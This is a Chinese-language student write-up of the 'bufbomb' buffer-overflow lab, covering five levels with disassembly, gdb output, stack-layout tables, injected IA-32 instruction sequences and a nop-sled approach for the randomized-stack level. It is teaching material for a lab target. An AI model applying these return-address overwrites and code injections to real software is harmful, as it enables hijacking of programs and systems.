实验目的
本实验的目的在于加深对IA-32函数调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序”bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,例如将给定的字节序列插入到其本不应出现的内存位置。
实验中你需要对目标可执行程序BUFBOMB分别完成5个难度递增的缓冲区溢出攻击。5个难度级分别命名为Candle(level 0)、Sparkler(level 1)、Firecracker(level 2)、Dynamite(level 3)和Nitroglycerin(level 4),其中Candle级最简单而Nitroglycerin级最困难
实验分析
1.Level 0: Candle
使用objdump得到汇编代码如下,因此需要将返回地址设置为0x08048c90
08048c90 <smoke>:
...
...
Test部分代码如下:
08048e6d <test>:
8048e6d: 55 push %ebp
8048e6e: 89 e5 mov %esp,%ebp
8048e70: 53 push %ebx
8048e71: 83 ec 24 sub $0x24,%esp
8048e74: e8 6e ff ff ff call 8048de7 <uniqueval>
8048e79: 89 45 f4 mov %eax,-0xc(%ebp)
8048e7c: e8 6b 03 00 00 call 80491ec <getbuf>
8048e81: 89 c3 mov %eax,%ebx
...
Getbuf代码如下:
080491ec <getbuf>:
80491ec: 55 push %ebp
80491ed: 89 e5 mov %esp,%ebp
80491ef: 83 ec 38 sub $0x38,%esp
80491f2: 8d 45 d8 lea -0x28(%ebp),%eax
80491f5: 89 04 24 mov %eax,(%esp)
80491f8: e8 55 fb ff ff call 8048d52 <Gets>
80491fd: b8 01 00 00 00 mov $0x1,%eax
8049202: c9 leave
8049203: c3 ret
调用Gets之前getbufn的栈如下:
内容 | 含义 | 在栈中的地址 |
---|---|---|
getbuf返回后执行的函数的第一个参数 | 0x5568336c | |
攻击代码的返回地址 | 0x55683368 | |
正常值:0x08048e81 | 返回地址 | 0x55683364 |
正常值:0x55683390 | test的帧指针 | |
… | ||
字符串地址 | 0x55683338 |
根据返回地址在栈中的地址和字符串地址可以很容易算出字符串包含48个字节,最后4个字节是smoke的地址
2.Level 1: Sparkler
和level0相同,这里只需要将返回地址设为fizz的返回地址0x08048cba,并将0x5568336c处的值设置为makecookie产生的值即可
3.Level 2: Firecracker
bang部分代码如下:
08048d05 <bang>:
8048d05: 55 push %ebp
8048d06: 89 e5 mov %esp,%ebp
8048d08: 83 ec 18 sub $0x18,%esp
8048d0b: a1 18 c2 04 08 mov 0x804c218,%eax
8048d10: 3b 05 20 c2 04 08 cmp 0x804c220,%eax
...
使用gdb查看0x804c218和0x804c220的值:
(gdb) x/x 0x804c218
0x804c218 <global_value>: 0x00000000
(gdb) x/x 0x804c220
0x804c220 <cookie>: 0x5a22d669
可知需要将0x804c218处的值设置为cookie的值,应该插入的代码如下:
movl $0x5a22d669,0x0804c218
ret
如果将代码放在字符串的起始地址,需要将getbuf的返回地址设置为字符串的起始地址,并将攻击代码的返回地址设置为bang的地址
4.Level 3: Dynamic
getbuf的返回值存在%eax中,因此将%eax设置为cookie值,由于getbuf返回时栈指针加了4,因此需将栈指针再减4,将test中的返回地址存入栈中再返回,代码如下:
movl $0x5a22d669,%eax
subl $4,%esp
movl $0x08048e81,(%esp)
ret
同level2,将代码放在字符串的起始地址,将getbuf的返回地址设置为字符串的起始地址
5.Level 4: Nitroglycerin
Testn部分代码如下:
08048e01 <testn>:
8048e01: 55 push %ebp
8048e02: 89 e5 mov %esp,%ebp
8048e04: 53 push %ebx
8048e05: 83 ec 24 sub $0x24,%esp
8048e08: e8 da ff ff ff call 8048de7 <uniqueval>
8048e0d: 89 45 f4 mov %eax,-0xc(%ebp)
8048e10: e8 ef 03 00 00 call 8049204 <getbufn>
8048e15: 89 c3 mov %eax,%ebx
...
08049204 <getbufn>:
8049204: 55 push %ebp
8049205: 89 e5 mov %esp,%ebp
8049207: 81 ec 18 02 00 00 sub $0x218,%esp
804920d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
8049213: 89 04 24 mov %eax,(%esp)
8049216: e8 37 fb ff ff call 8048d52 <Gets>
804921b: b8 01 00 00 00 mov $0x1,%eax
8049220: c9 leave
8049221: c3 ret
...
分析代码可知两者帧的相对位置没有变化,因此getbufn执行ret之时的esp与testn的帧指针的差值固定,在插入攻击代码时后者存储在栈中的位置遭到破坏,但是可以根据前者计算处后者,使用gdb查看这两个值:
(gdb) b *0x8048e04
Breakpoint 1 at 0x8048e04
(gdb) b *0x8049221
Breakpoint 2 at 0x8049221
(gdb) run -u bovik -n
...
Breakpoint 1, 0x08048e04 in testn ()
(gdb) info registers ebp
ebp 0x55683390 0x55683390 <_reserved+1037200>
(gdb) continue
Continuing.
Type string:haha
Breakpoint 2, 0x08049221 in getbufn ()
(gdb) info registers esp
esp 0x55683364 0x55683364 <_reserved+1037156>
...
可知两者的差值为0x28
同level3,将eax的值设为cookie,将esp减4,存放testn的返回地址
代码如下:
movl $0x5a22d669,%eax
leal 0x28(%esp),%ebp
subl $4,%esp
movl $0x08048e15,(%esp)
ret
但是与前四关不同的是,字符串的起始地址不同,攻击代码的位置也就不同,同样使用gdb查看5次运行时getbufn的帧指针,推算相应的字符串起始地址为:
次数 | 字符串地址 |
---|---|
1 | 0x55683158 |
2 | 0x55683178 |
3 | 0x556830e8 |
4 | 0x55683158 |
5 | 0x556831a8 |
因此,只需将getbufn的返回地址设为大于等于0x556831a8的值,并将返回地址和实际代码之间以nop填补即可
特别提醒
- 在最后一关的时候,我通过一步步查看程序运行状况,确定程序使用了一个5元素地址存放整个偏移量,还有一个levelcount数组存放相应level时validate应该运行的次数,因此最初的思路是根据这两个值恢复ebp,结果异常诡异:程序在gdb里一遍一遍运行都能通过,但是在shell里面就是段错误,后来在gentoo上面的gdb里面调试,才找出了错误原因:原来偏移量数组地址会变!!想起来这个数组是通过calloc分配的,所以地址可能会变。可是坑爹的gdb每次运行数组地址都是一样的!!乱入三体里面一句记得不太清楚的话,大意是:不管事情看上去多么奇怪,不要怀疑,背后一定有人搞鬼!
- 另外这个程序本身写得比较奇特,有比较高的研究价值,哈哈哈哈哈